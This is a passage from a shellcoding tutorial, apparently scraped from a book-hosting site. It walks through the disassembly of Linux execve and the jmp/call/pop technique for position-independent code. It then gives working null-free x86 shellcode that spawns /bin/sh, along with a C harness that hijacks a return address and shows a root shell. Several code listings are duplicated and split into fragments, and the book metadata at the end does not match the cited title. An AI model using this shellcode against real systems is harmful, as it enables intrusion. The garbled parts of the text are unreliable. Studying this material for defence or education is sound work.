xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop

As you can see, the execve syscall has quite an intimidating list of instructions to translate into shellcode. Reaching the point where we have removed all the nulls and compacted the shellcode will take a fair amount of time. Let's learn more about the execve syscall to determine exactly what is going on here. A good place to start is the man page for execve. The first two paragraphs of the man page give us valuable information.

 int  execve(const char *filename, char *const argv[], char *const envp[]); 
  • execve() executes the program pointed to by filename . filename must be either a binary executable or a script starting with a line of the form "#! interpreter [arg]" . In the latter case, the interpreter must be a valid pathname for an executable that is not itself a script, and which will be invoked as interpreter [arg] filename .

  • argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value , which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer.

The man page tells us that we can safely assume that execve needs three arguments passed to it. From the previous exit() syscall example, we already know how to pass arguments to a syscall in Linux (load up to six of them into registers). The man page also tells us that these three arguments must all be pointers. The first argument is a pointer to a string that is the name of binary we want to execute. The second is a pointer to the arguments array, which in our simplified case is the name of the program to be executed ( bin/sh ). The third and final argument is a pointer to the environment array, which we can leave at null because we do not need to pass this data in order to execute the syscall.

Note 

Because we are talking about passing pointers to strings, we need to remember to null terminate all the strings we pass.

For this syscall, we need to place data into four registers; one register will hold the execve syscall value (binary 11 or hex 0x0b ) and the other three will hold our arguments to the syscall. Once we have the arguments correctly placed and in legal format, we can make the actual syscall and switch to kernel mode. Using what you learned from the man page, you should have a better grasp of what is going on in our disassembly.

Starting with the seventh instruction in main() , the address of the string /bin/sh is copied into memory. Later, an instruction will copy this data into a register to be used as an argument for our execve syscall.

 80481e0:  movl 
 80481e0: movl $0x808ef88,0xfffffff8(%ebp) 
x808ef88,0xfffffff8(%ebp)

Next , the null value is copied into an adjacent memory space. Again, this null value will be copied into a register and used in our syscall.

 80481e7:  movl 
 80481e7: movl $0x0,0xfffffffc(%ebp) 
x0,0xfffffffc(%ebp)

Now the arguments are pushed onto the stack so that they will be available after we call execve. The first argument to be pushed is null.

 80481f1:  push 
 80481f1: push $0x0 
x0

The next argument to be pushed is the address of our arguments array ( happy[] ). First, the address is placed into EAX , and then the address value in EAX is pushed onto the stack.

 80481f3:  lea    0xfffffff8(%ebp),%eax 80481f6:  push   %eax 

Finally, we push the address of the /bin/sh string onto the stack.

 80481f7:  pushl  0xfffffff8(%ebp) 

Now the execve function is called.

 80481fa:  call   804d9f0 <execve> 

The execve function's purpose is to set up the registers and then execute the interrupt. For optimization purposes that are not related to functional shellcode, the C function gets translated into assembly in a somewhat convoluted manner, looking at it from a low-level perspective. Let's isolate exactly what is important to us and leave the rest behind.

The first instructions of importance load the address of the /bin/sh string into EBX.

 804d9fc:        mov    0x8(%ebp),%edi 804da0d:  mov    %edi,%ebx 

Next, load the address of our argument array into ECX .

 804da06:  mov    0xc(%ebp),%ecx 

Then the address of the null is placed into EDX .

 804da09:  mov    0x10(%ebp),%edx 

The final register to be loaded is EAX . The syscall number for execve , 11 , is placed into EAX .

 804da0f:  mov 
 804da0f: mov $0xb,%eax 
xb,%eax

Finally, everything is ready. The int 0x80 instruction is called, switching to kernel mode, and our syscall executes.

 804da14:  int 
 804da14: int $0x80 
x80

Now that you understand the theory behind an execve syscall from an assembly level, and have disassembled a C program, we are ready to create our shellcode. From the exit shellcode example, we already know that we'll have several problems with this code in the real world.

Note 

Rather than build faulty shellcode and then fix it as we did in the last example, we will simply do it right the first time. If you want additional shellcoding practice, feel free to write up the non-injectable shellcode first.

The nasty null problem has cropped up again. We will have nulls when setting up EAX and EDX . We will also have nulls terminating our /bin/sh string. We can use the same self-modifying tricks we used in our exit() shellcode to place nulls into registers by carefully picking instructions that do not create nulls in corresponding opcode. This is the easy part of writing injectable shellcodenow onto the hard part.

As briefly mentioned before, we cannot use hardcoded addresses with shellcode. Hardcoded addresses reduce the likelihood of the shellcode working on different versions of Linux and in different vulnerable programs. You want your Linux shellcode to be as portable as possible, so you don't have to rewrite it each time you want to use it. In order to get around this problem, we will use relative addressing. Relative addressing can be accomplished in many different ways; in this chapter we will use the most popular and classic method of relative addressing in shellcode.

The trick to creating meaningful relative addressing in shellcode is to place the address of where shellcode starts in memory or an important element of the shellcode into a register. We can then craft all our instructions to reference the known distance from the address stored in the register.

The classic method of performing this trick is to start the shellcode with a jump instruction, which will jump past the meat of the shellcode directly to a call instruction. Jumping directly to a call instruction sets up relative addressing. When the call instruction is executed, the address of the instruction immediately following the call instruction will be pushed onto the stack. The trick is to place whatever you want as the base relative address directly following the call instruction. We now automatically have our base address stored on the stack, without having to know what the address was ahead of time.

We still want to execute the meat of our shellcode, so we will have the call instruction call the instruction immediately following our original jump. This will put the control of execution right back to the beginning of our shellcode. The final modification is to make the first instruction following the jump be a POP ESI , which will pop the value of our base address off the stack and put it into ESI . Now we can reference different bytes in our shellcode by using the distance, or offset, from ESI . Let's take a look at some pseudo code to illustrate how this will look in practice.

 jmp short       GotoCall shellcode:     pop             esi         ...     <  shellcode meat  >     ...     GotoCall:      Call            shellcode      Db              '/bin/sh' 

The DB, or define byte directive (it's not technically an instruction), allows us to set aside space in memory for a string. The following steps show what happens with this code:

  1. The first instruction is to jump to GotoCall , which immediately executes the CALL instruction.

  2. The CALL instruction now stores the address of the first byte of our string ( /bin/sh ) on the stack.

  3. The CALL instruction calls shellcode.

  4. The first instruction in our shellcode is a POP ESI , which puts the value of the address of our string into ESI .

  5. The meat of the shellcode can now be executed using relative addressing.

Now that the addressing problem is solved , let's fill out the meat of shellcode using pseudo code. Then we will replace it with real assembly instructions and get our shellcode. We will leave a number of placeholders (9 bytes) at the end of our string, which will look like this:

 '/bin/shJAAAAKKKK' 

The placeholders will be copied over by the data we want to load into two of three syscall argument registers ( ECX , EDX ). We can easily determine the memory address locations of these values for replacing and coping into registers, because we will have the address of the first byte of the string stored in ESI . Additionally, we can terminate our string with a null efficiently by using this "copy over the placeholder" method. Follow these steps:

  1. Fill EAX with nulls by xor ing EAX with itself.

  2. Terminate our /bin/sh string by copying AL over the last byte of the string. Remember that AL is null because we nulled out EAX in the previous instruction. You must also calculate the offset from the beginning of the string to the J placeholder.

  3. Get the address of the beginning of the string, which is stored in ESI , and copy that value into EBX .

  4. Copy the value stored in EBX , now the address of the beginning of the string, over the AAAA placeholders. This is the argument pointer to the binary to be executed, which is required by execve. Again, you need to calculate the offset.

  5. Copy the nulls still stored in EAX over the KKKK placeholders, using the correct offset.

  6. EAX no longer needs to be filled with nulls, so copy the value of our execve syscall ( 0x0b) into AL .

  7. Load EBX with the address of our string.

  8. Load the address of the value stored in the AAAA placeholder, which is a pointer to our string, into ECX .

  9. Load up EDX with the address of the value in KKKK , a pointer to null.

  10. Execute int 0x80

The final assembly code that will be translated into shellcode looks like this:

 Section    .text     global _start     _start:             jmp short       GotoCall     shellcode:          pop             esi                     xor             eax, eax                mov byte        [esi + 7], al           lea             ebx, [esi]              mov long        [esi + 8], ebx          mov long        [esi + 12], eax         mov byte        al, 0x0b                mov             ebx, esi                lea             ecx, [esi + 8]          lea             edx, [esi + 12]         int             0x80     GotoCall:          Call             shellcode      db              '/bin/shJAAAAKKKK' 

Compile and disassemble to get opcodes.

 [root@0day linux]# nasm -f elf execve2.asm [root@0day linux]# ld -o execve2 execve2.o [root@0day linux]# objdump -d execve2     execve2:     file format elf32-i386     Disassembly of section .text:     08048080 <_start>:  8048080:       eb 1a                   jmp    804809c <GotoCall>     08048082 <shellcode>:  8048082:       5e                      pop    %esi  8048083:       31 c0                   xor    %eax,%eax  8048085:       88 46 07                mov    %al,0x7(%esi)  8048088:       8d 1e                   lea    (%esi),%ebx  804808a:       89 5e 08                mov    %ebx,0x8(%esi)  804808d:       89 46 0c                mov    %eax,0xc(%esi)  8048090:       b0 0b                   mov 
 [root@0day linux]# nasm -f elf execve2.asm [root@0day linux]# ld -o execve2 execve2.o [root@0day linux]# objdump -d execve2 execve2: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 1a jmp 804809c <GotoCall> 08048082 <shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 8d 1e lea (%esi),%ebx 804808a: 89 5e 08 mov %ebx,0x8(%esi) 804808d: 89 46 0c mov %eax,0xc(%esi) 8048090: b0 0b mov $0xb,%al 8048092: 89 f3 mov %esi,%ebx 8048094: 8d 4e 08 lea 0x8(%esi),%ecx 8048097: 8d 56 0c lea 0xc(%esi),%edx 804809a: cd 80 int $0x80 0804809c <GotoCall>: 804809c: e8 e1 ff ff ff call 8048082 <shellcode> 80480a1: 2f das 80480a2: 62 69 6e bound %ebp,0x6e(%ecx) 80480a5: 2f das 80480a6: 73 68 jae 8048110 <GotoCall+0x74> 80480a8: 4a dec %edx 80480a9: 41 inc %ecx 80480aa: 41 inc %ecx 80480ab: 41 inc %ecx 80480ac: 41 inc %ecx 80480ad: 4b dec %ebx 80480ae: 4b dec %ebx 80480af: 4b dec %ebx 80480b0: 4b dec %ebx [root@0day linux]# 
xb,%al 8048092: 89 f3 mov %esi,%ebx 8048094: 8d 4e 08 lea 0x8(%esi),%ecx 8048097: 8d 56 0c lea 0xc(%esi),%edx 804809a: cd 80 int
 [root@0day linux]# nasm -f elf execve2.asm [root@0day linux]# ld -o execve2 execve2.o [root@0day linux]# objdump -d execve2 execve2: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 1a jmp 804809c <GotoCall> 08048082 <shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 8d 1e lea (%esi),%ebx 804808a: 89 5e 08 mov %ebx,0x8(%esi) 804808d: 89 46 0c mov %eax,0xc(%esi) 8048090: b0 0b mov $0xb,%al 8048092: 89 f3 mov %esi,%ebx 8048094: 8d 4e 08 lea 0x8(%esi),%ecx 8048097: 8d 56 0c lea 0xc(%esi),%edx 804809a: cd 80 int $0x80 0804809c <GotoCall>: 804809c: e8 e1 ff ff ff call 8048082 <shellcode> 80480a1: 2f das 80480a2: 62 69 6e bound %ebp,0x6e(%ecx) 80480a5: 2f das 80480a6: 73 68 jae 8048110 <GotoCall+0x74> 80480a8: 4a dec %edx 80480a9: 41 inc %ecx 80480aa: 41 inc %ecx 80480ab: 41 inc %ecx 80480ac: 41 inc %ecx 80480ad: 4b dec %ebx 80480ae: 4b dec %ebx 80480af: 4b dec %ebx 80480b0: 4b dec %ebx [root@0day linux]# 
x80 0804809c <GotoCall>: 804809c: e8 e1 ff ff ff call 8048082 <shellcode> 80480a1: 2f das 80480a2: 62 69 6e bound %ebp,0x6e(%ecx) 80480a5: 2f das 80480a6: 73 68 jae 8048110 <GotoCall+0x74> 80480a8: 4a dec %edx 80480a9: 41 inc %ecx 80480aa: 41 inc %ecx 80480ab: 41 inc %ecx 80480ac: 41 inc %ecx 80480ad: 4b dec %ebx 80480ae: 4b dec %ebx 80480af: 4b dec %ebx 80480b0: 4b dec %ebx [root@0day linux]#

Notice we have no nulls and no hardcoded addresses. The final step is to create the shellcode and plug it into a C program.

 char shellcode[] =             "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"         "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"         "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"         "\x4b\x4b\x4b\x4b";                    int main() {       int *ret;   ret = (int *)&ret + 2;   (*ret) = (int)shellcode; } 

Let's test to make sure it works.

 [root@0day linux]# gcc execve2.c -o execve2 [root@0day linux]# ./execve2 sh-2.05b# 

Now you have working, injectable shellcode. If you need to pare down the shellcode, you can sometimes remove the placeholder opcodes at the end of shellcode, as follows.

 char shellcode[] =             "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"         "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"         "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

Throughout the rest of this book, you will find more advanced strategies for shellcode and writing shellcode for other architectures.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net